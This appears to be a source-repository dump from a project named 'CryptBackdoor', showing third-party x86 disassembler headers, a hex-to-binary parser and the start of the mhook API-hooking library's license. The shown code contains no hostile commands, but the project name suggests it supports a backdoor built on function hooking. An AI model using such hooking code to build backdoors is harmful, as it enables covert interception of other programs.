185 | // CPU_AMD_K7 // aka Athlon 186 | // 2000 187 | CPU_PENTIUM4, // introduced SSE2 and hyperthreading 188 | 189 | // 2004? 2005? 190 | CPU_PRESCOTT, // introduced SSE3 191 | 192 | /////////////////////////////////////// 193 | // 8th generation (X86-64) 194 | // IA32 instruction set with 64-bit extensions, >4GB RAM 195 | /////////////////////////////////////// 196 | 197 | // 2003 198 | CPU_AMD64, // includes Athlon 64 and Opteron aka X86-64 199 | 200 | // 2004? 201 | //CPU_EMD64 // Intel's version of AMD64 202 | CPU_IA64 // aka Itanium: new instruction set -- adds JMPE to IA32 mode to return to IA64 native code 203 | 204 | } CPU_TYPE; 205 | 206 | ////////////////////////////////////////////////////////////////// 207 | // Conditions (these can be OR'd) 208 | ////////////////////////////////////////////////////////////////// 209 | 210 | // Used for Flags.Preconditions 211 | #define COND_O (1<<0) // overflow (signed) 212 | #define COND_C (1<<1) // below (unsigned) 213 | #define COND_Z (1<<2) // equal (unsigned) 214 | #define COND_S (1<<3) // sign set (signed) 215 | #define COND_P (1<<4) // parity even 216 | #define COND_BE (1<<5) // CF or ZF is set (unsigned) 217 | #define COND_L (1<<6) // (SF && !OF) || (OF && !SF) 218 | #define COND_LE (1<<7) // ZF || (SF && !OF) || (OF && !SF) (signed) 219 | #define COND_NO (1<<8) // !O 220 | #define COND_NC (1<<9) // !C (not below, above or equal to) 221 | #define COND_NZ (1<<10) // !Z (not equal) 222 | #define COND_NS (1<<11) // !S 223 | #define COND_NP (1<<12) // !P (parity odd) 224 | #define COND_NL (1<<13) // (!SF && !OF) || (SF && OF) 225 | #define COND_G (1<<14) // !ZF && ((!SF && !OF) || (SF && OF)) 226 | #define COND_D (1<<15) // DF 227 | #define COND_REG_xCX_BIG_Z (1<<16) // CX/ECX/RCX (depending on address size) == 0 228 | #define COND_REG_xCX_BIG_NZ (1<<17) // CX/ECX/RCX (depending on address size) != 0 229 | #define COND_OP1_EQ_OP2 (1<<18) 230 | #define COND_OP1_EQ_OP3 (1<<19) 231 | #define COND_B COND_C 232 | #define COND_NAE COND_C 233 | #define COND_E COND_Z 234 | #define COND_NA COND_BE 235 | #define COND_PE COND_P 236 | #define COND_U COND_P 237 | #define COND_NGE COND_L 238 | #define COND_NG COND_LE 239 | #define COND_PO COND_NP 240 | #define COND_NU COND_NP 241 | #define COND_NE COND_NZ 242 | #define COND_NB COND_NC 243 | #define COND_AE COND_NC 244 | #define COND_NE COND_NZ 245 | #define COND_A (COND_NC|COND_NZ) 246 | #define COND_NBE COND_A 247 | #define COND_GE COND_NL 248 | #define COND_NLE COND_G 249 | 250 | // Used for Opcode.FlagsChanged 251 | #define FLAG_CF_SET (1<<0) 252 | #define FLAG_DF_SET (1<<1) 253 | #define FLAG_IF_SET (1<<2) 254 | #define FLAG_SET_MASK (FLAG_CF_SET|FLAG_DF_SET|FLAG_IF_SET) 255 | 256 | #define FLAG_SF_CLR (1<<3) 257 | #define FLAG_ZF_CLR (1<<4) 258 | #define FLAG_AF_CLR (1<<5) 259 | #define FLAG_CF_CLR (1<<6) 260 | #define FLAG_DF_CLR (1<<7) 261 | #define FLAG_IF_CLR (1<<8) 262 | #define FLAG_OF_CLR (1<<9) 263 | #define FPU_C0_CLR (1<<19) 264 | #define FPU_C1_CLR (1<<20) 265 | #define FPU_C2_CLR (1<<21) 266 | #define FPU_C3_CLR (1<<22) 267 | #define FPU_ALL_CLR (FPU_C0_CLR|FPU_C1_CLR|FPU_C2_CLR|FPU_C3_CLR) 268 | #define FLAG_CLR_MASK (FLAG_SF_CLR|FLAG_ZF_CLR|FLAG_AF_CLR|FLAG_CF_CLR|FLAG_DF_CLR|FLAG_IF_CLR|FLAG_OF_CLR|FPU_ALL_CLR) 269 | 270 | #define FLAG_OF_MOD (1<<10) 271 | #define FLAG_SF_MOD (1<<11) 272 | #define FLAG_ZF_MOD (1<<12) 273 | #define FLAG_AF_MOD (1<<13) 274 | #define FLAG_PF_MOD (1<<14) 275 | #define FLAG_CF_MOD (1<<15) 276 | #define FLAG_DF_MOD (1<<16) 277 | #define FLAG_IF_MOD (1<<17) 278 | #define FLAG_ALL_MOD (FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD|FLAG_CF_MOD|FLAG_DF_MOD|FLAG_IF_MOD) 279 | #define FLAG_COMMON_MOD (FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD|FLAG_CF_MOD) 280 | #define FPU_C0_MOD (1<<23) 281 | #define FPU_C1_MOD (1<<24) 282 | #define FPU_C2_MOD (1<<25) 283 | #define FPU_C3_MOD (1<<26) 284 | #define FPU_ALL_MOD (FPU_C0_MOD|FPU_C1_MOD|FPU_C2_MOD|FPU_C3_MOD) 285 | #define FLAG_MOD_MASK (FLAG_ALL_MOD|FPU_ALL_MOD) 286 | 287 | #define FLAG_CF_TOG (1<<18) 288 | #define FLAG_TOG_MASK FLAG_CF_TOG 289 | 290 | // Used for Opcode.ResultsIfTrue and Opcode.ResultsIfFalse 291 | #define OP1_DST (1<<0) 292 | #define OP2_DST (1<<1) 293 | #define OP3_DST (1<<2) 294 | #define OP1_SRC (1<<3) 295 | #define OP2_SRC (1<<4) 296 | #define OP3_SRC (1<<5) 297 | #define FPU_STACK_INC (1<<6) 298 | #define FPU_STACK_INC2 (1<<7) 299 | #define FPU_STACK_DEC (1<<8) 300 | #define SERIALIZE_WRITE (1<<9) 301 | #define SERIALIZE_READ (1<<10) 302 | #define xCX_DEC (1<<11) 303 | #define xCX_REP_DEC (1<<12) 304 | #define xDI_DEC (1<<13) 305 | #define xDI_INC (1<<14) 306 | #define xSI_DEC (1<<15) 307 | #define xSI_INC (1<<16) 308 | #define xDI_DECx (1<<17) 309 | #define xDI_INCx (1<<18) 310 | #define xSI_DECx (1<<19) 311 | #define xSI_INCx (1<<20) 312 | #define FPU_STACK_PUSH FPU_STACK_DEC 313 | #define FPU_STACK_POP FPU_STACK_INC 314 | #define FPU_STACK_POP2 FPU_STACK_INC2 315 | #define SERIALIZE_ALL (SERIALIZE_WRITE|SERIALIZE_READ) 316 | 317 | #define X86_SEGMENT_OFFSET 0x00 318 | #define X86_TEST_OFFSET 0x10 319 | #define X86_CONTROL_OFFSET 0x20 320 | #define X86_DEBUG_OFFSET 0x30 321 | #define X86_FPU_OFFSET 0x40 322 | #define X86_MMX_OFFSET 0x50 323 | #define X86_XMM_OFFSET 0x60 324 | #define X86_8BIT_OFFSET 0x70 325 | #define X86_16BIT_OFFSET 0x80 326 | #define X86_32BIT_OFFSET 0x90 327 | #define AMD64_8BIT_OFFSET 0xA0 328 | #define AMD64_16BIT_OFFSET 0xB0 329 | #define AMD64_32BIT_OFFSET 0xC0 330 | #define AMD64_64BIT_OFFSET 0xD0 331 | 332 | typedef enum _X86_REGISTER 333 | { 334 | // Segments 335 | X86_SEG_ES = X86_SEGMENT_OFFSET, 336 | X86_SEG_CS, 337 | X86_SEG_SS, 338 | X86_SEG_DS, 339 | X86_SEG_FS, 340 | X86_SEG_GS, 341 | 342 | // Miscellaneous 343 | X86_REG_FLAGS, 344 | X86_REG_EFLAGS, 345 | AMD64_REG_RFLAGS, 346 | X86_REG_IP, 347 | X86_REG_EIP, 348 | AMD64_REG_RIP, 349 | 350 | // Test registers 351 | X86_REG_TR0 = X86_TEST_OFFSET, 352 | X86_REG_TR1, 353 | X86_REG_TR2, 354 | X86_REG_TR3, 355 | X86_REG_TR4, 356 | X86_REG_TR5, 357 | X86_REG_TR6, 358 | X86_REG_TR7, 359 | X86_REG_TR8, 360 | X86_REG_TR9, 361 | X86_REG_TR10, 362 | X86_REG_TR11, 363 | X86_REG_TR12, 364 | X86_REG_TR13, 365 | X86_REG_TR14, 366 | X86_REG_TR15, 367 | 368 | // Control registers 369 | X86_REG_CR0=X86_CONTROL_OFFSET, 370 | X86_REG_CR1, 371 | X86_REG_CR2, 372 | X86_REG_CR3, 373 | X86_REG_CR4, 374 | X86_REG_CR5, 375 | X86_REG_CR6, 376 | X86_REG_CR7, 377 | X86_REG_CR8, 378 | X86_REG_CR9, 379 | X86_REG_CR10, 380 | X86_REG_CR11, 381 | X86_REG_CR12, 382 | X86_REG_CR13, 383 | X86_REG_CR14, 384 | X86_REG_CR15, 385 | 386 | // Debug registers 387 | X86_REG_DR0=X86_DEBUG_OFFSET, 388 | X86_REG_DR1, 389 | X86_REG_DR2, 390 | X86_REG_DR3, 391 | X86_REG_DR4, 392 | X86_REG_DR5, 393 | X86_REG_DR6, 394 | X86_REG_DR7, 395 | X86_REG_DR8, 396 | X86_REG_DR9, 397 | X86_REG_DR10, 398 | X86_REG_DR11, 399 | X86_REG_DR12, 400 | X86_REG_DR13, 401 | X86_REG_DR14, 402 | X86_REG_DR15, 403 | 404 | // FPU registers 405 | X86_REG_ST0=X86_FPU_OFFSET, 406 | X86_REG_ST1, 407 | X86_REG_ST2, 408 | X86_REG_ST3, 409 | X86_REG_ST4, 410 | X86_REG_ST5, 411 | X86_REG_ST6, 412 | X86_REG_ST7, 413 | 414 | // MMX registers 415 | X86_REG_MM0=X86_MMX_OFFSET, 416 | X86_REG_MM1, 417 | X86_REG_MM2, 418 | X86_REG_MM3, 419 | X86_REG_MM4, 420 | X86_REG_MM5, 421 | X86_REG_MM6, 422 | X86_REG_MM7, 423 | 424 | // XMM registers 425 | X86_REG_XMM0=X86_XMM_OFFSET, 426 | X86_REG_XMM1, 427 | X86_REG_XMM2, 428 | X86_REG_XMM3, 429 | X86_REG_XMM4, 430 | X86_REG_XMM5, 431 | X86_REG_XMM6, 432 | X86_REG_XMM7, 433 | 434 | // 8-bit registers 435 | X86_REG_AL=X86_8BIT_OFFSET, 436 | X86_REG_CL, 437 | X86_REG_DL, 438 | X86_REG_BL, 439 | X86_REG_AH, 440 | X86_REG_CH, 441 | X86_REG_DH, 442 | X86_REG_BH, 443 | 444 | // 16-bit registers 445 | X86_REG_AX=X86_16BIT_OFFSET, 446 | X86_REG_CX, 447 | X86_REG_DX, 448 | X86_REG_BX, 449 | X86_REG_SP, 450 | X86_REG_BP, 451 | X86_REG_SI, 452 | X86_REG_DI, 453 | 454 | // 32-bit registers 455 | X86_REG_EAX=X86_32BIT_OFFSET, 456 | X86_REG_ECX, 457 | X86_REG_EDX, 458 | X86_REG_EBX, 459 | X86_REG_ESP, 460 | X86_REG_EBP, 461 | X86_REG_ESI, 462 | X86_REG_EDI, 463 | 464 | // AMD64 8-bit registers 465 | AMD64_REG_AL=AMD64_8BIT_OFFSET, 466 | AMD64_REG_CL, 467 | AMD64_REG_DL, 468 | AMD64_REG_BL, 469 | AMD64_REG_SPL, 470 | AMD64_REG_BPL, 471 | AMD64_REG_SIL, 472 | AMD64_REG_DIL, 473 | AMD64_REG_R8B, 474 | AMD64_REG_R9B, 475 | AMD64_REG_R10B, 476 | AMD64_REG_R11B, 477 | AMD64_REG_R12B, 478 | AMD64_REG_R13B, 479 | AMD64_REG_R14B, 480 | AMD64_REG_R15B, 481 | 482 | // AMD64 16-bit registers 483 | AMD64_REG_AX=AMD64_16BIT_OFFSET, 484 | AMD64_REG_CX, 485 | AMD64_REG_DX, 486 | AMD64_REG_BX, 487 | AMD64_REG_SP, 488 | AMD64_REG_BP, 489 | AMD64_REG_SI, 490 | AMD64_REG_DI, 491 | AMD64_REG_R8W, 492 | AMD64_REG_R9W, 493 | AMD64_REG_R10W, 494 | AMD64_REG_R11W, 495 | AMD64_REG_R12W, 496 | AMD64_REG_R13W, 497 | AMD64_REG_R14W, 498 | AMD64_REG_R15W, 499 | 500 | // AMD64 32-bit registers 501 | AMD64_REG_EAX=AMD64_32BIT_OFFSET, 502 | AMD64_REG_ECX, 503 | AMD64_REG_EDX, 504 | AMD64_REG_EBX, 505 | AMD64_REG_ESP, 506 | AMD64_REG_EBP, 507 | AMD64_REG_ESI, 508 | AMD64_REG_EDI, 509 | AMD64_REG_R8D, 510 | AMD64_REG_R9D, 511 | AMD64_REG_R10D, 512 | AMD64_REG_R11D, 513 | AMD64_REG_R12D, 514 | AMD64_REG_R13D, 515 | AMD64_REG_R14D, 516 | AMD64_REG_R15D, 517 | 518 | // AMD64 64-bit registers 519 | AMD64_REG_RAX=AMD64_64BIT_OFFSET, 520 | AMD64_REG_RCX, 521 | AMD64_REG_RDX, 522 | AMD64_REG_RBX, 523 | AMD64_REG_RSP, 524 | AMD64_REG_RBP, 525 | AMD64_REG_RSI, 526 | AMD64_REG_RDI, 527 | AMD64_REG_R8, 528 | AMD64_REG_R9, 529 | AMD64_REG_R10, 530 | AMD64_REG_R11, 531 | AMD64_REG_R12, 532 | AMD64_REG_R13, 533 | AMD64_REG_R14, 534 | AMD64_REG_R15 535 | } X86_REGISTER; 536 | 537 | typedef enum _X86_TEST_REGISTER 538 | { 539 | REG_TR0=0, 540 | REG_TR1, 541 | REG_TR2, 542 | REG_TR3, 543 | REG_TR4, 544 | REG_TR5, 545 | REG_TR6, 546 | REG_TR7, 547 | REG_TR8, 548 | REG_TR9, 549 | REG_TR10, 550 | REG_TR11, 551 | REG_TR12, 552 | REG_TR13, 553 | REG_TR14, 554 | REG_TR15 555 | } X86_TEST_REGISTER; 556 | 557 | typedef enum _X86_CONTROL_REGISTER 558 | { 559 | REG_CR0, 560 | REG_CR1, 561 | REG_CR2, 562 | REG_CR3, 563 | REG_CR4, 564 | REG_CR5, 565 | REG_CR6, 566 | REG_CR7, 567 | REG_CR8, 568 | REG_CR9, 569 | REG_CR10, 570 | REG_CR11, 571 | REG_CR12, 572 | REG_CR13, 573 | REG_CR14, 574 | REG_CR15 575 | } X86_CONTROL_REGISTER; 576 | 577 | typedef enum _X86_DEBUG_REGISTER 578 | { 579 | REG_DR0, 580 | REG_DR1, 581 | REG_DR2, 582 | REG_DR3, 583 | REG_DR4, 584 | REG_DR5, 585 | REG_DR6, 586 | REG_DR7, 587 | REG_DR8, 588 | REG_DR9, 589 | REG_DR10, 590 | REG_DR11, 591 | REG_DR12, 592 | REG_DR13, 593 | REG_DR14, 594 | REG_DR15 595 | } X86_DEBUG_REGISTER; 596 | 597 | typedef enum _X86_MMX_REGISTER 598 | { 599 | REG_MM0=0, 600 | REG_MM1=1, 601 | REG_MM2=2, 602 | REG_MM3=3, 603 | REG_MM4=4, 604 | REG_MM5=5, 605 | REG_MM6=6, 606 | REG_MM7=7 607 | } X86_MMX_REGISTER; 608 | 609 | typedef enum _X86_SSE_REGISTER 610 | { 611 | REG_XMM0=0, 612 | REG_XMM1=1, 613 | REG_XMM2=2, 614 | REG_XMM3=3, 615 | REG_XMM4=4, 616 | REG_XMM5=5, 617 | REG_XMM6=6, 618 | REG_XMM7=7 619 | } X86_SSE_REGISTER; 620 | 621 | typedef enum _X86_FPU_REGISTER 622 | { 623 | REG_ST0=0, 624 | REG_ST1=1, 625 | REG_ST2=2, 626 | REG_ST3=3, 627 | REG_ST4=4, 628 | REG_ST5=5, 629 | REG_ST6=6, 630 | REG_ST7=7 631 | } X86_FPU_REGISTER; 632 | 633 | typedef enum _X86_8BIT_REGISTER 634 | { 635 | REG_AL = 0, 636 | REG_CL = 1, 637 | REG_DL = 2, 638 | REG_BL = 3, 639 | REG_AH = 4, 640 | REG_CH = 5, 641 | REG_DH = 6, 642 | REG_BH = 7 643 | } X86_8BIT_REGISTER; 644 | 645 | typedef enum _X86_16BIT_REGISTER 646 | { 647 | REG_AX = 0, 648 | REG_CX = 1, 649 | REG_DX = 2, 650 | REG_BX = 3, 651 | REG_SP = 4, 652 | REG_BP = 5, 653 | REG_SI = 6, 654 | REG_DI = 7 655 | } X86_16BIT_REGISTER; 656 | 657 | typedef enum _X86_32BIT_REGISTER 658 | { 659 | REG_EAX = 0, 660 | REG_ECX = 1, 661 | REG_EDX = 2, 662 | REG_EBX = 3, 663 | REG_ESP = 4, 664 | REG_EBP = 5, 665 | REG_ESI = 6, 666 | REG_EDI = 7 667 | } X86_32BIT_REGISTER; 668 | 669 | typedef enum _X86_SEGMENT 670 | { 671 | SEG_ES = 0, 672 | SEG_CS = 1, 673 | SEG_SS = 2, 674 | SEG_DS = 3, 675 | SEG_FS = 4, 676 | SEG_GS = 5, 677 | SEG_MAX = 6 678 | } X86_SEGMENT; 679 | 680 | extern char *X86_Registers[]; 681 | 682 | #pragma pack(push,1) 683 | typedef struct _MODRM 684 | { 685 | U8 mod : 2; 686 | U8 reg : 3; 687 | U8 rm : 3; 688 | } MODRM; 689 | typedef struct _SIB 690 | { 691 | U8 scale : 2; 692 | U8 index : 3; 693 | U8 base : 3; 694 | } SIB; 695 | typedef struct _REX 696 | { 697 | U8 unused : 4; // bits 4,5,6,7 698 | U8 w : 1; // bit 3 699 | U8 r : 1; // bit 2 700 | U8 x : 1; // bit 1 701 | U8 b : 1; // bit 0 702 | } REX; 703 | typedef struct _REX_MODRM 704 | { 705 | U8 reg : 4; 706 | U8 rm : 4; 707 | } REX_MODRM; 708 | typedef struct _REX_SIB 709 | { 710 | U8 index : 4; 711 | U8 base : 4; 712 | } REX_SIB; 713 | #pragma pack(pop) 714 | 715 | // 716 | // Properties: 717 | // If an operand is OP_COND_EXEC, it means that it is executed only if the pre-conditions are met. 718 | // 719 | // If if an instruction has one or more OP_COND_DST operands, then the actions are determined by 720 | // whether the Opcode.Preconditions are met or not. If all the COND_* flags in Opcode.Preconditions 721 | // are true, then the results are determined by ResultsIfTrue. If the preconditions are not met, then 722 | // the results are determined by ResultsIfFalse. 723 | // 724 | // If Preconditions == NOCOND, then results in ResultsIfTrue are unconditional and ResultsIfFalse 725 | // is ignored 726 | // 727 | typedef struct _X86_OPCODE 728 | { 729 | struct _X86_OPCODE *Table; 730 | CPU_TYPE CPU; // minimum CPU (starting with i386) 731 | U32 MnemonicFlags; 732 | char Mnemonic[X86_MAX_INSTRUCTION_LEN+1]; 733 | U32 OperandFlags[X86_MAX_OPERANDS]; 734 | U32 Preconditions; 735 | U32 FlagsChanged; // changes in flags 736 | U32 ResultsIfTrue; // results if Preconditions are met 737 | U32 ResultsIfFalse; // results if Preconditions are not met 738 | } X86_OPCODE; 739 | 740 | typedef struct _X86_INSTRUCTION 741 | { 742 | struct _INSTRUCTION *Instruction; // the generic instruction format representing this instruction 743 | 744 | X86_OPCODE Opcode; 745 | 746 | U8 sib_b; 747 | U8 modrm_b; 748 | MODRM modrm; 749 | SIB sib; 750 | U8 rex_b; 751 | REX rex; 752 | REX_MODRM rex_modrm; 753 | REX_SIB rex_sib; 754 | 755 | X86_SEGMENT DstSegment; 756 | union 757 | { 758 | X86_SEGMENT Segment; 759 | DWORD Selector; 760 | }; 761 | 762 | // NOTE: these are for internal use, use Instruction->Operands[] 763 | // 764 | // If DstRegAddressing or SrcRegAddressing = TRUE then BaseRegister is the base register 765 | // It is the operand represented by SIBOperand 766 | // 767 | // The operand indices of the destination operands is in DstOpIndex[0 to DstOpCount-1] 768 | // The operand indices of the source operands is in SrcOpIndex[0 to SrcOpCount-1] 769 | // 770 | // These are used both for instructions like xadd/xchg (where both operands are source/destination) 771 | // and to represent implicit registers (e.g., cmpxchg) 772 | 773 | U8 SrcOpIndex[3]; 774 | U8 DstOpIndex[3]; 775 | 776 | // Addressing mode: 777 | // If DstRegAddressing = TRUE, then these apply to DstReg 778 | // If SrcRegAddressing = TRUE, then this applies to SrcReg[AddressIndex] 779 | // If both are false, then SrcReg and DstReg are not addresses 780 | X86_REGISTER BaseRegister; 781 | X86_REGISTER IndexRegister; 782 | 783 | U8 Scale; 784 | U8 HasDefault64Operand : 1; 785 | U8 HasOperandSizePrefix : 1; 786 | U8 HasAddressSizePrefix : 1; 787 | U8 HasSegmentOverridePrefix : 1; 788 | U8 HasLockPrefix : 1; 789 | U8 HasRepeatWhileEqualPrefix : 1; 790 | U8 HasRepeatWhileNotEqualPrefix : 1; 791 | U8 HasBranchTakenPrefix : 1; 792 | U8 HasBranchNotTakenPrefix : 1; 793 | U8 HasDstAddressing : 1; 794 | U8 HasSrcAddressing : 1; 795 | U8 HasModRM : 1; 796 | U8 HasBaseRegister : 1; 797 | U8 HasIndexRegister : 1; 798 | U8 HasFullDisplacement : 1; 799 | U8 HasDstSegment : 1; // used for ins/cmps/scas/movs/etc which have 2 segments 800 | U8 DstAddressIndex : 2; // DstOpIndex[DstAddressIndex] 801 | U8 SrcAddressIndex : 2; // SrcOpIndex[SrcAddressIndex] 802 | U8 DstOpCount : 2; 803 | U8 SrcOpCount : 2; 804 | U8 OperandSize : 4; 805 | U8 AddressSize : 4; 806 | U8 Relative : 1; 807 | U8 HasSelector : 1; // segment is actually a selector 808 | U8 Group : 5; 809 | 810 | S64 Displacement; 811 | 812 | } X86_INSTRUCTION; 813 | 814 | //////////////////////////////////////////////////////////////////////////////////// 815 | // Exported functions 816 | //////////////////////////////////////////////////////////////////////////////////// 817 | 818 | extern ARCHITECTURE_FORMAT_FUNCTIONS X86; 819 | 820 | // Instruction setup 821 | BOOL X86_InitInstruction(struct _INSTRUCTION *Instruction); 822 | void X86_CloseInstruction(struct _INSTRUCTION *Instruction); 823 | 824 | // Instruction translator 825 | BOOL X86_TranslateInstruction(struct _INSTRUCTION *Instruction, BOOL Verbose); 826 | 827 | // Instruction decoder 828 | BOOL X86_GetInstruction(struct _INSTRUCTION *Instruction, U8 *Address, DWORD Flags); 829 | 830 | // Function finding 831 | U8 *X86_FindFunctionByPrologue(struct _INSTRUCTION *Instruction, U8 *StartAddress, U8 *EndAddress, DWORD Flags); 832 | 833 | #ifdef __cplusplus 834 | } 835 | #endif 836 | #endif // X86_DISASM_H 837 | 838 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/misc.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002, Matt Conover (mconover@gmail.com) 2 | #include "misc.h" 3 | 4 | BOOL IsHexChar(BYTE ch) 5 | { 6 | switch (ch) 7 | { 8 | case '0': case '1': case '2': case '3': 9 | case '4': case '5': case '6': case '7': 10 | case '8': case '9': 11 | case 'A': case 'a': case 'B': case 'b': 12 | case 'C': case 'c': case 'D': case 'd': 13 | case 'E': case 'e': case 'F': case 'f': 14 | return TRUE; 15 | default: 16 | return FALSE; 17 | } 18 | } 19 | 20 | // NOTE: caller must free the buffer returned 21 | BYTE *HexToBinary(char *Input, DWORD InputLength, DWORD *OutputLength) 22 | { 23 | DWORD i, j, ByteCount = 0; 24 | char temp_byte[3]; 25 | BYTE *p, *ByteString = NULL; 26 | 27 | if (!InputLength || !OutputLength) return NULL; 28 | else *OutputLength = 0; 29 | 30 | while (*Input && isspace(*Input)) { Input++; InputLength--; } 31 | if (!*Input) return NULL; 32 | if (Input[0] == '\"') { Input++; InputLength--; } 33 | p = (BYTE *)strchr(Input, '\"'); 34 | if (p) InputLength--; 35 | 36 | if (InputLength > 2 && Input[2] == ' ') // assume spaces 37 | { 38 | for (i = 0; i < InputLength; i += 3) 39 | { 40 | while (i < InputLength && isspace(Input[i])) i++; // skip over extra space, \r, and \n 41 | if (i >= InputLength) break; 42 | 43 | if (!IsHexChar(Input[i])) 44 | { 45 | //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i); 46 | goto abort; 47 | } 48 | 49 | if (i+1 >= InputLength || !Input[i+1]) 50 | { 51 | //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1); 52 | goto abort; 53 | } 54 | 55 | if (i+2 < InputLength && Input[i+2] && !isspace(Input[i+2])) 56 | { 57 | //fprintf(stderr, "ERROR: Hex string is malformed at offset %lu (0x%04x)\n", i, i); 58 | //fprintf(stderr, "Found '%c' (0x%02x) instead of space\n", Input[i+2], Input[i+2]); 59 | goto abort; 60 | } 61 | 62 | ByteCount++; 63 | } 64 | 65 | if (!ByteCount) 66 | { 67 | //fprintf(stderr, "Error: no input (byte count = 0)\n"); 68 | goto abort; 69 | } 70 | 71 | ByteString = malloc(ByteCount+1); 72 | if (!ByteString) 73 | { 74 | //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount); 75 | goto abort; 76 | } 77 | 78 | memset(ByteString, 0, ByteCount+1); 79 | for (i = 0, j = 0; j < ByteCount; i += 3, j++) 80 | { 81 | while (isspace(Input[i])) i++; // skip over extra space, \r, and \n 82 | temp_byte[0] = Input[i]; 83 | temp_byte[1] = Input[i+1]; 84 | temp_byte[2] = 0; 85 | ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16); 86 | } 87 | } 88 | else if (InputLength > 2 && Input[0] == '\\') 89 | { 90 | for (i = 0; i < InputLength; i += 2) 91 | { 92 | if (Input[i] != '\\' || (Input[i+1] != 'x' && Input[i+1] != '0')) 93 | { 94 | //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i); 95 | goto abort; 96 | } 97 | i += 2; 98 | 99 | if (!IsHexChar(Input[i])) 100 | { 101 | //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i); 102 | goto abort; 103 | } 104 | if (i+1 >= InputLength || !Input[i+1]) 105 | { 106 | //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1); 107 | goto abort; 108 | } 109 | 110 | ByteCount++; 111 | } 112 | 113 | if (!ByteCount) 114 | { 115 | //fprintf(stderr, "Error: no input (byte count = 0)\n"); 116 | goto abort; 117 | } 118 | 119 | ByteString = malloc(ByteCount+1); 120 | if (!ByteString) 121 | { 122 | //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount); 123 | goto abort; 124 | } 125 | 126 | memset(ByteString, 0, ByteCount+1); 127 | for (i = j = 0; j < ByteCount; i += 2, j++) 128 | { 129 | i += 2; 130 | temp_byte[0] = Input[i]; 131 | temp_byte[1] = Input[i+1]; 132 | temp_byte[2] = 0; 133 | ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16); 134 | } 135 | } 136 | else // assume it is a hex string with no spaces with 2 bytes per character 137 | { 138 | for (i = 0; i < InputLength; i += 2) 139 | { 140 | if (!IsHexChar(Input[i])) 141 | { 142 | //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i); 143 | goto abort; 144 | } 145 | if (i+1 >= InputLength || !Input[i+1]) 146 | { 147 | //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1); 148 | goto abort; 149 | } 150 | 151 | ByteCount++; 152 | } 153 | 154 | if (!ByteCount) 155 | { 156 | //fprintf(stderr, "Error: no input (byte count = 0)\n"); 157 | goto abort; 158 | } 159 | 160 | ByteString = malloc(ByteCount+1); 161 | if (!ByteString) 162 | { 163 | //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount); 164 | goto abort; 165 | } 166 | 167 | memset(ByteString, 0, ByteCount+1); 168 | for (i = 0, j = 0; j < ByteCount; i += 2, j++) 169 | { 170 | temp_byte[0] = Input[i]; 171 | temp_byte[1] = Input[i+1]; 172 | temp_byte[2] = 0; 173 | ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16); 174 | } 175 | } 176 | 177 | *OutputLength = ByteCount; 178 | return ByteString; 179 | 180 | abort: 181 | if (OutputLength) *OutputLength = 0; 182 | if (ByteString) free(ByteString); 183 | return NULL; 184 | } 185 | 186 | -------------------------------------------------------------------------------- /CryptBackdoor/disasm-lib/misc.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002, Matt Conover (mconover@gmail.com) 2 | #ifndef MISC_H 3 | #define MISC_H 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define MIN(a, b) ((a) < (b) ? (a) : (b)) 14 | #define MAX(a, b) ((a) > (b) ? (a) : (b)) 15 | 16 | // NOTE: start is inclusive, end is exclusive (as in start <= x < end) 17 | #define IS_IN_RANGE(x, s, e) \ 18 | ( \ 19 | ((ULONG_PTR)(x) == (ULONG_PTR)(s) && (ULONG_PTR)(x) == (ULONG_PTR)(e)) || \ 20 | ((ULONG_PTR)(x) >= (ULONG_PTR)(s) && (ULONG_PTR)(x) < (ULONG_PTR)(e)) \ 21 | ) 22 | 23 | #if _MSC_VER >= 1400 24 | #pragma warning(disable:4996) 25 | #endif 26 | 27 | #if defined(_WIN64) 28 | #define VALID_ADDRESS_MAX 0x7FFEFFFFFFFFFFFF // Win64 specific 29 | typedef unsigned __int64 ULONG_PTR, *PULONG_PTR; 30 | #else 31 | #define VALID_ADDRESS_MAX 0x7FFEFFFF // Win32 specific 32 | typedef unsigned long ULONG_PTR, *PULONG_PTR; 33 | #endif 34 | 35 | #ifndef DECLSPEC_ALIGN 36 | #if (_MSC_VER >= 1300) && !defined(MIDL_PASS) 37 | #define DECLSPEC_ALIGN(x) __declspec(align(x)) 38 | #else 39 | #define DECLSPEC_ALIGN(x) 40 | #endif 41 | #endif 42 | 43 | #define VALID_ADDRESS_MIN 0x10000 // Win32 specific 44 | #define IS_VALID_ADDRESS(a) IS_IN_RANGE(a, VALID_ADDRESS_MIN, VALID_ADDRESS_MAX+1) 45 | 46 | BOOL IsHexChar(BYTE ch); 47 | BYTE *HexToBinary(char *Input, DWORD InputLength, DWORD *OutputLength); 48 | 49 | #ifdef __cplusplus 50 | } 51 | #endif 52 | #endif // MISC_H 53 | -------------------------------------------------------------------------------- /CryptBackdoor/mhook-lib/mhook.cpp: -------------------------------------------------------------------------------- 1 | //Copyright (c) 2007-2008, Marton Anka 2 | // 3 | //Permission is hereby granted, free of charge, to any person obtaining a 4 | //copy of this software and associated documentation files (the "Software"), 5 | //to deal in the Software without restriction, including without limitation 6 | //the rights to use, copy, modify, merge, publish, distribute, sublicense, 7 | //and/or sell 